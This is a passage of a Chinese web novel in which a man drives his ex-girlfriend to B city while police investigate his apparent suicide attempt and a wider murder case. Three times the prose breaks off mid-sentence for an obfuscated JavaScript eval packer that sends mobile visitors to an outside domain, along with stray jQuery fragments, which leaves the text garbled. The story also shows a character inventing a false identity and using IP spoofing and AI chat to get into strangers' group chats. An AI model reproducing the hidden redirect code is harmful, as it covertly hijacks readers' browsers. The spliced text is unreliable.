去往b市的动车只需要七小时,飞机只用两个半小时,而她却特意来找自己开车送她,浪费时间劳心累身地坐一两天的车,完全违背她以往讨厌麻烦追求效率的准则,甚至连合适的借口都找不出,屡次只能用顾左右而言它来掩盖。
她现在是对两人的分手后悔不已,又不懂挽回。所以各种拙劣的手段频出,没发现自己正弄巧成拙。
可分手是事实,她对自己受伤住院不闻不问也实在绝情。周随容一个人住在医院,孤独迷惘地面对各种骤变和残缺的现实,用了两个月的时间才强迫自己接受。还留着一大堆的情绪跟困惑要消化。无法毫无芥蒂地就跟方清昼冰释前嫌。
她没有一句道歉,甚至蹩脚的理由跟他拉锯。周随容没有那么不争气。
死灰复燃也得先来阵风吧?
周随容握方向盘的手抓得很紧,克制着没回嘴跟她争辩。
刺眼的光线穿透挡风玻璃,方清昼被照得眯起眼睛,主动催促:“你知道了吗?”
我凭什么要知道?!
周随容担心自己手一晃连人带车撞绿化带上去,赶紧打开了辅助驾驶。
方清昼关注着他的一举一动,马上道:“好了,你可以说了。”
周随容吸了口气,再深深吐出,还是被气得笑了出来。
方清昼抓到机会,跟他讨价还价:“你也可以选择抵消一个问题。之前在门口的那个不算我没回答。以后你也不能再问了。”
周随容勉为其难地接受:“行。”
立即抛出另外一个,单刀直入:“你跟我为什么分手?”
方清昼察觉到自己处境相当劣势,坐正了一点,隔了数秒,说:“两个多月前你来找我申请一段长期的带薪假期,如果我不允许希望我可以批准你的辞职申请,我和公司财务讨论了下……”
周随容心说又开始了。每当方清昼遇到不想回答又不得不回答的问题,就会以这种枯燥、冗杂,又毫无用处的废话文学来当开头,争取三句话内把人砸晕或气到干脆地甩袖走人。
周随容烦不胜烦,打断道:“你好好说话。你想跟我吵架吗?”
方清昼说:“不想。”
她不轻不重地捏着掌心,迟疑了下,依旧模棱两可地道:“你的预期可能跟我有所不同。”
方清昼有点词穷。主要是因为周随容太脆弱,许多直白的表述都会轻易让他受伤。方清昼尚无法揣摩到具体的尺度。
周随容把音乐打开了,连点几下,音乐的节奏跟鼓点一样在车厢里震荡起来。
方清昼过去调小声音,抱着手臂扭过了头。
车子上了高速,离开城市,景色骤然辽阔起来。
二人之间的氛围却异常凝滞。
远处蜿蜒挺秀的高山一座座从视野内掠过,温度随着缩短而浓郁的影子开始一点点攀升。
周随容手指点了点方向盘,没头没脑说了一句:“后座有衣服。”
方清昼说:“我不冷,我热。”
周随容咬字重了点:“那你开空调。我要开了。”
方清昼弯腰去够后座的衣服,那是周随容留着的一件夹克衫,她穿上后顺手打开空调。
过了会儿抬起头,表情严肃地倒打一耙说:“你现在脾气很差。”
周随容:“……?”
方清昼拿出手机,歪着脑袋查看字体密密麻麻的文档。不到半个小时就把手垂下,无精打采地靠到车窗上。
周随容一看就知道她晕车了。张了张嘴,记起她指责自己脾气差,好气又好笑地没吭声。
这种静默让周随容都感到有些难熬。觉得自己又猜不透方清昼在想什么了。
他觉得周围的声音嘈杂,扰人心烦,索性关掉了音乐。听到方清昼放得很轻的呼吸声,视线从远处的尽头飘回来,落在她身上。
导航里传出休息区的提示。周随容正要询问,方清昼捏着的手机响了。
方清昼睁开眼,看到来电人备注是梁鸣。
梁鸣去年出狱,还不大用得惯手机,拿来当银行卡使还嫌占地方,一周不记得充一次电,日常失踪断联。
方清昼前几天打给师母,请她帮忙转告,让梁鸣有空给她回个电话,不过估计梁鸣给忘了,好几天没动静。
方清昼接起来,猜他此刻必然是穷极无聊,才会舍得给自己回拨电话,谨慎地开口:“你好。”
谁知这两个字也踩到对方痛脚了,梁鸣在电话里大发牢骚:“好什么好啊,我钓半天连个鱼苗都没见到!隔壁哐哐上鱼。凭什么啊明明是一个塘!我怀疑他下药了。外面已经研究出这种东西了吗?降低鱼的智商会不会对人体有害?我要求取缔!”
看来他真的不愿意承认自己菜。
方清昼被他嚷得耳朵发痒,把手机拿远一点,开了免提。
梁鸣大呼小叫,并开始毫无心理负担地泼脏:“你看!你看!刚刚一条大鱼已经要咬钩了,因为跟你打电话被吓跑了!”
周随容握着方向盘,往这边瞄了好几眼,皱着眉像是被吵到了,不悦问:“谁?”
梁鸣以为自己幻听,怎么声音还粗了:“什么谁?”
“梁鸣。”方清昼把音量调小了点,“你不能发展一下别的兴趣爱好吗?”
梁鸣说:“正常人谁喜欢钓鱼啊?我陪我妈来农家乐呢,她现在忙着在后院抓鸡,我是奉皇命在钓鱼。”
说着他吐槽了一句:“一点都不好玩。大晚上的蚊子排队敲我的窗门,我纯放血来了。十只鸡也补不回来。”
方清昼估计他们今天是吃不上鱼了,象征性地鼓励了下:“你加油。”
梁鸣说:“那我挂了啊。”
“???”方清昼赶紧道,“我还没说找你有什么事。”
梁鸣:“哦哦,你说。”
方清昼先扫了眼周随容,问:“你知道梁老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334995|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师去世以后,有什么人可能接触过【异常测定】的资料吗?”
“我不知道,我后来没进过他的书房。他的遗物也不是我整理的。那些资料不是说都给你了吗?”梁鸣的心思不在谈话上,回答的时候明显没多想,身边带着一阵窸窸窣窣的杂音,正忙着更换新的风水宝地,“晚点我帮你问问我妈。不过她应该也不知道。”
周随容唇角抿得薄而紧,扭头的时候跟方清昼的视线对上,一瞬就滑开了。觉得话题跟自己有关,脸色变得森寒阴沉。
方清昼问:“那你近期有遇到什么可疑的人吗?”
梁鸣不假思索地道:“多了去了,我觉得你现在就挺可疑的。”
方清昼听他三句话里没有一句是着调的,越侃越离谱,学周随容的口气道:“你能好好说话吗?”
梁鸣此刻的状态如同一只称霸山林的公鸡,遇到人形生物就扑腾开翅膀滑翔猛扑,能啄到一口是一口,顺杆子爬的速度更是奇快:“不能,我要是正经说话你不马上就挂了?这深山老林的快给我憋坏了,我就差抓着只鸡去找鸭子聊天了。对了你别挂啊,待会儿我带你去看看我新养的鸭,它会唱歌。”
正常来说,坐牢不足以使人与人脱节到这个地步,方清昼匪夷所思地问:“咬你的蚊子带致幻的病毒吗?”
梁鸣张嘴就来,现场给她表演了一个:“嘎嘎嘎嘎——”
方清昼在梁鸣的一阵怪叫声中挂断了电话,并眼明手快地摁断了新的来电提示。等了等,确认对方没有继续坚持拨打,打消了暂时拉黑他的冲动。
方清昼感慨道,这名字起得真好,这位同志一直在一鸣惊人。
周随容一整个早上都是稀里糊涂的。天还没亮从床上被吓醒,开门以为自己在梦游,上了车魂还在小区里飘着。
这会儿听梁鸣一阵诡异的鸭叫,理智也诡异的从几百公里外被拉回来了,才注意到时间已经接近十一点。
他瞥一眼方清昼,见她还是蔫头耷脑的没什么精神,声线发紧地问:“你早饭吃过了吗?”
“没有。”方清昼放下手机,揉了揉眼睛,强调道,“也没有睡觉。”
周随容取消了导航,沉着脸说:“那你为什么不说?”
方清昼绵着眼睫,萎靡不振地道:“不敢。热心市民嫌我事多,会把我扭送到派出所,跟我分道扬镳。”
说着侧了下身,将脸朝向窗外。
周随容被噎了一口,明知是她找的由头,还是被带跑了节奏,忍不住说:“方清昼,你跟我生气,是不是有点站不住脚?”
方清昼转回头,看表情并没有什么不高兴,不过说的话太不动听:“我不生气的话,你不理我。”
“你可以自己找话题。”周随容一瞬想通了她那异于常人的逻辑,感觉心脏被怒火燎烧在爆炸的边缘,还得忍气吞声地说,“我没有对你进行过冷暴力。是你自己不喜欢聊天。而且你说话太气人了。”
方清昼没有犹豫地道:“可是我挺喜欢听你说话的。你说话好听你为什么不多说?”
周随容:“……”
周随容心里恶狠狠地道:那你饿着吧。干脆饿死你。
他在最近的高速收费站下车,开过匝道,停在路边的空地上。不等方清昼又说什么听起来像挤兑的话,解开安全带,快一步说:“我去上个厕所,你留在车上别动。”
15.路上
他们停靠的地方是个镇,附近没有城市那种商业街道。
周随容沿着行人稀少的马路往里走,沿途进了几家小饭馆,发现卫生条件堪忧,又退了出来。
找到一半,他担心方清昼在车上等急了,拿出手机给她发信息:吃什么?
对面没两秒回过来:你不是去上厕所吗?
周随容:“……”
他决定回去就体检。钢筋铁骨的身体也禁不住这个气。
周随容压着火打字:你见得了光吗?
在心里讽刺完,又一个个字删除。
周随容闭了闭眼,没想好怎么回复,对面再次说:你先回来,一起去吃。
周随容催动手指,高冷地敲下一个字:不。
回完觉得自己太过幼稚,点了个撤回。
方清昼:那给我带碗面吧。
周随容继续搜寻,终于找到家敞亮干净的店面。
他扫一遍墙上菜单,点了碗不容易糊的手擀面,叮嘱老板少放油。觉得方清昼可能不喜欢,又点了份米饭。
方清昼挑食且难办,休息区的预制菜大部分不吃,饿的时候就催眠自己的胃,当代资深修仙人士。
周随容付完钱,挑了个角落的空座等待。
他后方的客人在刷短视频,音量大到盖过厨房的油烟声。
在几段美女跳舞的视频后,出现了三夭的名字。
营销号用夸张的语气惊叹,这一届三夭青年综合大赛的金奖得主是个真正的天之骄子。不仅长得像小说男主,智商更是高到开挂,可能是青年组有史以来最年轻的金奖得主。
胖食客斜过手机,跟边上的人搭话,玩笑说:“靠,这人是真的长得比我帅一点点。”
后者配合地大笑,跟着自恋道:“那比我还是那么差一点。”
周随容回头。
两人看清他的脸,笑声凝滞了下。
客人收回视线,暗暗嘀咕一声,转回前面的话题,满是惊羡地说:“这得多有钱啊,才26岁,我听说光比赛奖金就有上千万。”
“奖金算不上什么了,进三夭开发后续项目可以拿分成,那才是大头。他们说利润高的那几个,一年都能挣上亿。”
“你说这脑子怎么长的?”
“光有脑子也不行,普通人哪接触得到这门路?”
“那个帅哥。”老板提着两个袋子走出来,扯着嗓门提醒,“你的好了。”
周随容上前接过,中途脚步停在顾客身后,突兀说了句:“他不是最年轻的金奖得主。”
食客按下暂停,表情懵懵地看着他。周随容说:“第32届的金奖得主才是,她是个人参赛,当时才20岁。你知道她是谁吗?”
食客咬着筷子,大概没想到自己刷个小视频而已,还能被路人逮着搞科普,有点回不过神,呆呆地摇了摇头。
周随容说完就后悔,感觉自己挺神经的,莫名其妙地来什么劲,何况他们都分手了。抱歉地笑了笑,抬步离开。
食客不乐意了,喊道:“帅哥别走啊!你这人怎么说话说一半啊?”
周随容只能再次神经发作,报了个名字:“她叫方清昼。”
逃也似地走出小店,从空旷街道一头灌进来的热风让周随容晃了下眼。
他自嘲地想,乱七八糟的东西干什么记得那么清楚?
摸出手机一看,方清昼给他发了个宾馆的地址,还有房间号。
周随容顺着找过去,是一家有些年头的廉价宾馆。
房间内部跟外观同样破旧,墙面发霉,空气里还带着未散的烟味。
方清昼给他开完门,坐在一旁的椅子上,问:“你要喝水吗?”
周随容放下袋子,赶紧阻止道:“你别喝这里的水,我去给你买。”
回头就见方清昼从包里拿出纯净水,慢条斯理地拧开喝了一口,说:“我买了。”
周随容看她自如地拆开筷子吃面,一时有些新奇,问:“你没住过这种地方吧?”
方清昼说:“住过,工作需要。你呢?”
周随容感觉自己的过去久远到仿佛是另一段人生了,回忆的时候不由走了下神,说:“很少。”
场面难得温馨起来。周随容多说了几句:“我刚离家出走的时候,一般住在网吧,跟别人一起蹭包厢包夜,还可以上网,接点外快。不过那里很吵,一晚上要醒三四次。也住过青年旅舍。像这样的独立房间对我来说太贵了。不过这样的生活没有持续太久,后来遇到你了——”
他过去开窗通风,察觉背后没了声音,转身一看,发现方清昼正托着下巴看他。眸光清亮而专注。
周随容被她看得不自在,下意识摆个帅气的姿势,手往窗台上一搭。结果窗台许久没打扫了,他摸了满手的灰尘跟蛛网,赶紧又站直了。听见方清昼在笑,尴尬咳嗽道:“别笑了,赶紧吃吧。”
方清昼没什么食欲,吃到一半就放下筷子,困得直打哈欠。
周随容把垃圾收拾好,带着气味的碗筷直接扔到楼下的垃圾桶里,回来的时候方清昼已经躺下睡着。
睡梦中的方清昼看起来十分温顺,发丝乌黑,嘴唇柔软,不会说出什么令人跳脚的话,也不会露出无奈到让人心疼的眼神。只是在陌生的环境中,睡得不是太安稳,眉头还在微微蹙紧。
周随容坐在床尾,本想找机会跟她聊聊,注视着她素净的侧脸,兀自坐着安静地出神。
老旧空调的噪音盖过了二人的呼吸声。
过了会儿周随容才后知后觉地感到有点冷,搓了搓自己的手臂,低头看见方清昼露在外面的脚,鬼使神差地握住眼前的脚踝。
方清昼脚上的皮肤薄而细嫩,因常年不晒太阳,白到有种病态的苍青。周随容的手能整个环住她的脚腕,指腹下压住的一截青筋传递出微弱的脉搏,伴着他的体温平稳地跳动。
明显的肤色对比骨骼的粗细,在视觉上凸显出格外强烈的力量差距。却刺激得周随容心情一时变得低落跟空虚,感觉自己并没有握住任何东西。
周随容缓缓松开手,扯过一旁的被子替她盖好,过去将空调的温度打高。
随后轻手轻脚地坐到隔壁床上,等着方清昼睡醒。
·
季和在经过六小时的补眠后,又开始生龙活虎地展开工作。
她领着还没能适应这种高强度牛马作息的赵戎,阔步走进三夭大楼,直达方清昼工作室所在的楼层。
两人从电梯出来,没看见人影,只猝不及防地在前台看到了一双眼睛。
那双圆筒型的电子眼就那么阴森森地杵在桌子上,察觉到有人出现,转过角度朝向他们,射出两道红外线,从上至下地对着二人扫描一遍,开口招呼道:“你们好。”
赵戎紧张道:“它要朝我们开枪吗?”
红外线再次扫了他一遍,评价说:“你真可爱。”
赵戎这次的反应很快:它在骂我。
前方的密码门应声打开:“请进,季和警官,以及赵戎警官。”
赵戎再次震惊:“你怎么知道我们是谁?你们公司侵犯公民隐私啊?”
季和从一台冰冷的电子机器上,感受到了名为鄙夷的情绪……不过这是赵戎应得的。
眼睛将方向对准了角落的绿植,再转向窗外,摆明了不想再看赵戎了。语音还在客气地回复:“你们在招待大厅里出示过证件,工作人员向我们发送了访问申请。是我给你们刷的电梯哦,亲~”
赵戎大开眼界。
刘姥姥进大观园似地朝里走去,发现季和正定定看着他。
赵戎感觉自己无形中缩短了一寸,不知道自己哪里又犯了错,忐忑地说:“我只是好奇……”
“我知道,正常人都会感到好奇,毕竟这玩意儿丑得太过诡异。”季和说,“但把好奇表现成愚蠢的,应该不多。”
赵戎:“……”
季和见他面露颓丧,又拍了下他的肩膀安慰:“没事,这是你的优点。保持吧。”
赵戎还琢磨着是要让自己保持什么,季和已经走进门去。
“嗨。”一个年轻人抱着电脑等在前方,“我们领导今天不在哦。”
赵戎听出了熟悉的声线,迈出去的腿收了回来,方向转至大门。惊疑不定地在两边来回扫视。
他还以为那玩意儿是智能的。
里面的办公室传出一道洪亮的女声,先知般地大吼解释:“那是他带来公司的垃圾!不用在意!”
紧跟着又给年轻人安排任务:“陆盛兴,发挥你最大的作用,好好招待一下!”
陆盛兴脸拉得老长,嘴里小声驳斥:“说了是我送给领导的周边礼物,什么叫垃圾?你这人好烦!”
他指了指临窗的桌子,引二人入座,再次道:“我们领导不知道什么时候会回来上班。你们有事可以给她留言。”
赵戎都快忘了今天是来做什么的了。
季和亲切地笑道:“你好。我们这次是来找周随容的。”
按照方清昼的说法,周随容是才第一个受害者。
陆盛兴耸肩:“啊,那他也不在。他跟我们领导在一块儿,近期不来上班。早上还找我帮忙请假呢。”
“没关系,我们随便聊聊。”季和放松地坐下,一幅闲得无聊的姿态说,“听说你们……方领导,跟周随容是男女朋友?”
“曾经是。”陆盛兴精准用词,惋惜叹道,“现在分了。不过我觉得快和好了。”
季和问:“他们为什么分手?”
陆盛兴对警察没什么防备,一股脑地告知:“我不知道啊。两个多月前,周哥说要休息一段时间,不给批假就辞职。哪有这样的啊?领导觉得不对劲,让我去打听一下原因。周哥说没什么,他和领导分手了,需要冷静一下。”
陆盛兴摸着下巴,脸上是大惑不解:“不过我估计领导都不知道他们分了,因为她当时的表情比我还震惊。可能俩人吵架了吧。”
季和饶有兴趣地跟了一声:“哦?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339115|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后来周哥说他有事要离开A市,一个人走了。领导放心不下,跟了过去。没过几天周哥就出事了。从这儿到这儿,老深的一条伤口。”陆盛兴心有余悸地比划,“在当地紧急处理了下,领导叫了辆直升机把他抬回A市。医生说再晚几分钟可能人就没了。”
季和问:“所以你不知道他为什么自杀?”
“自杀?!”陆盛兴惊愕到险些破音,两手按着桌面,激动地瞪圆双眼,“周哥是自杀的吗?领导说他是爬山的时候不小心摔下去了,底下正好有根钢筋擦过他的脖子,落地后还磕到了脑袋,所以失忆了。是意外啊!怎么是自杀?”
“哦。”季和意味深长地道,“所以她连你们也没敢告诉。”
陆盛兴感受到了忽视,眼神涣散,肉眼可见地沮丧下来,说:“什么?他们果然拿我当外人!”
季和没跟他一块儿哀痛友谊的虚伪,手指叩了叩桌面唤他回神,问:“我们能不能看一下周随容的资料?”
陆盛兴眼珠子咕噜转了一圈,佯装为难地说:“不好吧,这是我们员工隐私。你们想查要走专业的申请流程啊。不过你们要是让我也加入调查,那我作为热心市民,愿意免费、自担风险帮你们查资料。”
季和不买账,摊开手说:“那我只能找你们现在的负责人,晓之以情动之以理,劝说她积极配合警方工作了。”
林姐忙到脚打后脑勺,耳朵还是尖得跟有特异功能似的,在办公室里危险地吼出他的全名:“陆!盛!兴!你不要给我找事!”
“好吧好吧,我给你们查。”陆盛兴脚底发凉,立马认怂道,“反正也没什么,很多网上就能查到。”
他敲打一阵键盘,把电脑屏幕转向季和。
在季和查看的功夫,嘴里喋喋不休地介绍道:“周哥老家在隔壁市青安县下面一个镇,那地方挺穷的,就一所初中,能顺利升学的都不多。周哥是那里唯一一个参加全国竞赛拿奖的,后面靠这个特招来A市读高中。”
“因为寒暑假学校不开放宿舍,他偶尔会拜托网吧老板收留。A大就在网吧对面那条街,所以领导经常看见他。
“领导发现他在自学大学的课程,但是内容很多过时了,给了他一份资料,让他去了解一下各种扶持和补助的政策。周哥从此走上了新世界的坦途。他很厉害的,就是小时候被耽误,否则说不定能跟我们领导多做几年同学。
“需要我把他的履历给你们打印出来吗?这个其实网上也有。”
“不用了。”季和看完一遍,将电脑合上,推了回去,“谢谢,收获良多。”
见两人干净利落地要离开,陆盛兴追了上去,带着替跑路老板守护公司的无私信念,死缠烂打地道:“加个好友啊警官!我把我的履历也发你,有什么事让我一起!”
赵戎耐不住他恳求,跟他互加了好友,快步跟上季和。
两人健步如飞地走出大楼。热浪卷得二人发丝翻飞。
赵戎还没厘清,满头雾水地道:“我们要从周随容身上接着查吗?”
季和笑说:“我知道方清昼着急忙慌地跑什么了。她带着周随容去B市了。”
赵戎:“因为毕竟跟她曾经的项目有关,她也很关注吧。”
季和从衣兜里摸出一根烟,夹在手指中间来回转动,脚步不停地走向停车位:“我不认为周随容这种从小离家闯荡,一步步走上来的人,会因为分手而选择自杀。只有一种原因能让他崩溃。我估计方清昼也意识到了,此前或许是抱以侥幸跟怀疑,在见到沈知阳后,这种猜测越加强烈。现在她比我们更急着查证真相。”
赵戎问:“方清昼做什么了?”
“她应该什么都不知道,所以她现在才害怕。”
季和点了烟,咬在嘴里吸了口气,红色的火星半明半灭。
她回身望向高耸的大楼,楼体上的玻璃倒映着壮阔的天空跟白云,悠悠吐出一句话:
“她怕周随容跟沈知阳一样,杀了人。”
赵戎脚步定住,炙热的午后,无端感受到一阵凉意。
季和拉开车门,雷厉风行地安排:“查一下周随容两个月前去了哪里,相关辖区内近期是否有失踪人口,或者可疑的死亡人员。再联系B市,把沈知阳的案件资料发过去,说有个变态科学家可能会流窜过去作案,如果需要,我们分局愿意全力配合。”
赵戎用手机准确记下她说的每一个标点,小心翼翼地问:“这个变态科学家是指方清昼吗?”
季和斜睨一眼,吐出一口白烟,笑眯眯地说:“你信不信让她听到她会揍你?”
赵戎“哦”一声,把后面的备注给删了。
季和调整好反光镜,想了想,又问:“梁鸣最近在哪儿?”
“在A市啊。”赵戎奇怪道,“他挺安分的,这事儿跟他也有关系吗?”
“那没办法,谁让他杀过人?发生什么坏事,擦上边都得优先想到他,这就是红线。”季和说,“派人去问问他近期的行踪。出狱后都跟谁见过面。”
16.身份
周随容翻查了A市近期的新闻。没看到疑似有方清昼参与的案件,也没搜到通缉令之类会让他心脏骤停的东西。稍稍松了口气。
房间拉上了窗帘,静谧而昏黑的环境让他跟着生出些微困意,靠在床头,闭上眼睛假寐。
不出五分钟,一道穿透力远胜惊雷的“嗡嗡”声把他炸醒。
房间里不知道从哪个角落飞出来一只蚊子,围着两人打转。
周随容不敢用手拍,在半空挥了一把,没把蚊子打落,就看那小东西拐个弯朝着方清昼那边去了。
他坐起来,眼睛在弱光下辨识不出蚊子的踪迹,靠近过去,听到了时高时低的震翅声,只能任劳任怨地给方清昼赶蚊子。心里也觉得自己莫名其妙。
他一低头,发现方清昼醒了,而自己的手正悬停在她的侧上方,看上去动机不明。
方清昼睡眼朦胧,声音低得浑浊,迷迷瞪瞪地说了句:“这么恨我啊。”
周随容把手收回来,没回她的梦话。
方清昼转了个身继续睡,可惜困意比那只成精的蚊子还难以捕捉,过了半个小时,彻底醒了,沉着张脸坐起来发呆。
周随容知道她开机时间长,没有打扰她读秒,过去把窗帘拉开。
正好手机震动起来,周随容收到陆盛兴的信息。
对方给他说:周哥,我有警察圈的人脉了。今天他们今天来找我喝茶。【开心】
周随容看了好一会儿,觉得自己跟方清昼在一起厮混久了,对人类语言研读的水平有一定的倒退。
方清昼见他回信息的模样带着如临大敌式的审慎,问:“你在跟谁聊天?”
周随容说:“小兴。”
方清昼一听见这个名字就感觉被吵到了,耳朵里跟被塞了团海绵一样不适。
和陆盛兴同处一个空间,安静是一件极其珍贵的奢侈品。哪怕他不说话,手上的机械键盘也会噼里啪啦响个不停。
上班期间非必要禁止交流是他们公司一项人性化福利待遇。
方清昼移到床边找自己的鞋,周随容抬脚勾了下她的脚,示意她抬头,跟她面对面坐着。
标间的两张床因为空间受限摆得极近,周随容一双长腿稍往前一伸就抵到了,他两腿把人困在中间,递过去一瓶水,说:“聊聊。”
方清昼警惕地道:“聊什么?”
她佯装若无其事地说:“你知道的,反反复复地唠叨同一件事是无用且缺乏魅力的行为。”
周随容笑了,碰了碰她的膝盖:“你之前跟我生什么气?”
方清昼如释重负,反驳道:“我没有向你宣泄负面情绪。”
她顿了顿,纠正说:“我是有点不满,因为你不停强调我们分手了,让我离你远一点。”
周随容自我怀疑:他是这么说的吗?
方清昼不等他思考,反问他:“你觉得这样对吗?”
周随容哑口无言。
睡过一觉后方清昼思维恢复正常,逐条翻起旧账:
“拿音乐堵我,让我闭嘴。”
“你还嫌我说话难听。我明明没有恶意。”
“让我自己找话题,你又不耐烦地跑了。”
“为了不跟我一起吃饭,借口说是去上厕所。”
方清昼总结陈词:“是你对我有意见。”
周随容被她质问得迷糊了,既有种六月飞霜的冤屈,又觉得自己有罄竹难书的罪恶。
周随容听到自己大脑里“咔哒”一声打结锁死的声音,顺从着诱导说出一句:“对不起?”
方清昼点头接纳:“可以。”
她推开周随容的腿,弯腰穿好鞋,称心满意地说:“走吧,换个地方,这里我不喜欢。”
周随容拎起包跟在她身后,心里还没弄明白,盘旋着一个问题:为什么?
·
周随容将车开到临近的市区,天色已经黑了。
夜间行车不安全,两人重新找了家酒店。
第一天走的路程还不到三分之一,方清昼不焦不躁,周随容就没着急。
翌日早晨六点,吃过早饭,二人再次上路。
这次方清昼精力充沛,把电脑跟平板从行李箱里搬出来了。
周随容担心她又晕车,提醒了一句“别玩了”,方清昼点开一个聊天群,点击自动播放里面的语音,把平板放下去。
“朋友们,老梁酒席结束后要一起出去玩吗?”
“我好久没回B市了,还是多陪陪爸妈。你们去吧。”
“3号晚上能来的都来啊,多少年不见了,让我再见识一下诸位的美貌。”
“都说好了,聚会不许带小孩儿。”
“梁益正大红人,恭喜结婚!”
周随容听得满头雾水:“梁益正是谁?你认识?”
方清昼说:“我不认识。”
她囫囵地解释说:“前段时间A市发生了一起凶杀案,主要嫌疑人已被抓获,但还有个同伙流窜在外。同伙嚣张傲慢,在藏尸的地方故意留下一张婚礼请帖,男方就是这个梁益正。我需要跟他们近距离接触一下,确认他们有没有问题。”
周随容疑窦丛生。
这跟方清昼有什么关系?她难道跳槽去给警察做顾问了?
周随容默念了几遍不要多问,说服自己,转而打听:“你怎么加上这个群的?”
方清昼一脸轻而易举只是相当繁琐的表情说:“我本来搜到了他们的班级群,不过管理可能已经弃号了,没有通过我的申请。于是我把ip切到B市,在各个社交平台发布了一条同城信息,问梁益正结婚有没有老朋友可以同行。然后花钱推流,不到一小时就有人来问我是谁。
“我本来想委托小兴代聊,但后来发现大家的聊天风格刻板又无聊,AI就可以搞定。用了一个晚上的时间,我拿到了梁益正的基本信息,加上他的好友,并被拉进了8个群。”
周随容:“……”
为什么要分那么多聊天群是方清昼的知识盲区。她早上扫了眼AI总结过的聊天记录,发现上千条的内容里只有几百字的有效信息。废话率比陆盛兴还要高出一整个境界。
“9月8号,他们要给梁益正开一个单身派对。人相对会多,可是要等太久。我劝他们9月3号先开一场高中同学会,他们已经答应。”
周随容发怵道:“你这种行为,让我觉得有点像诈骗犯。”
“哪里?”方清昼振振有词地说,“我是去送礼金的,这叫财神。”
群里的语音还在自动播放,提到了一个熟悉的称呼,让周随容额角青筋跟着跳动起来。
“小昼啊,你到了以后给我们多拍几张照呗,我们班好久没拍过合影了。”
“对啊小昼,拜托你啦。我同意你聚餐不用AA。”
“什么AA?王哥那么大的老板,已经说过要请客了。你这是瞧不起人啊。”
“不是梁益正这个准新郎请客吗?”
“小昼来拍照吗?拍的话我就化个妆,不拍的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352820|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,这帮老流氓都配不上我化全妆。”
周随容见方清昼低头回复消息,隐约有股不详的预感,敬畏地问:“这个小昼是?”
“我捏造的一个新身份。”方清昼给他介绍,“毕业于B市第三中学。大学读的金融,毕业后因为找不到合适的工作,转行做了摄影师。擅长拍网红风的照片。近日档期太满,不接私单。”
周随容不可置信地道:“你会拍照?”方清昼对相机的了解,只局限于“打开”、“拍摄”、“关闭”三个功能。
“我不会。”方清昼说,“但是你会。”
她大概意识到自己计划敲定时忘记通知本人,此时才开始补救,交托重任般的,轻轻拍了拍周随容的肩膀。
“哦,是这个小周啊。”周随容拖着长音道,“使唤我。”
他想到什么,忍俊不禁,轻快的语气中带着些微的挑逗意味,问:“那请问小昼学姐跟着我去,是用什么身份?我的助理,还是我女朋友?”
岂料方清昼正儿八经地说:“我是你的老板。”
周随容嘴角微微一抽。
方清昼从容地介绍自己的思路:“我出两万块钱,让你给我跟拍一周。在你请假说要去参加同学聚会的时候,我表现出了一定的兴趣决定跟着你一起过去。当然我这个安排充分考虑到了你的自身条件。以你的长相,他们会合理化地认为我这是在追求你。”
周随容:“……”
方清昼自信地说:“这样一来我不需要应对那些场面上的套话,不用跟他们夸张地缅怀过去的校园生活。同时我可以旁敲侧击地打听各种散乱的信息。即便我说出什么不合时宜的语言,让他们认为我不好相处,也只会增加他们对你的同情心,帮助你拉近跟他们的距离。”
周随容:“……”
方清昼说完最后一个句号,没有听到反馈,谦虚询问:“你怎么不说话?你有什么不同建议吗?”
周随容吹捧道:“简直完美无缺。”除了没考虑到他的心情,几乎面面俱到。
方清昼点头说:“小周你的人设可以自由发挥,我给你预留了一定的空间。”
“谢谢你,方老板。”周随容已经具备身经百战的淡定,郑重道,“我在努力入戏。”
方清昼一直欣赏他的工作态度:“嗯。”
小周尝试代入了一下角色,委实没有那种天赋,反而跟着疾驰的车辆一样,心猿意马起来,问:“你真要包我啊?”
他语速缓慢,烦恼地说:“方老板,万一有人说要出更高的价格让我跟拍怎么办?”
方清昼说:“你让他找我,我给他普法。”
周随容纠结地道:“那如果你被人认出来呢?”
“可能性不大,我一向低调,基本不参加线上的活动。他们没有接触我的机会。”方清昼说,“真认出来了也没关系,毕竟我确实是你的老板。”
周随容低低笑了两声,说:“好的,方老板。”
方清昼把梁益正的名片和信息顺手推给季和,正要查看前面的未读信息。对面直接弹了个语音通话过来。
方清昼不疑有它,顺手接起。
季和语调铿锵有力地说:“方清昼,A市南城分局友情提醒你,回头是岸,现在——”
方清昼手忙脚乱地点下挂断。
车厢里死一般的寂静。
车窗外是猎猎作响的风声。
周随容那颗刚还在暖洋里轻柔涤荡的心,“咻”一下被卷百米高空去了。
17.短信
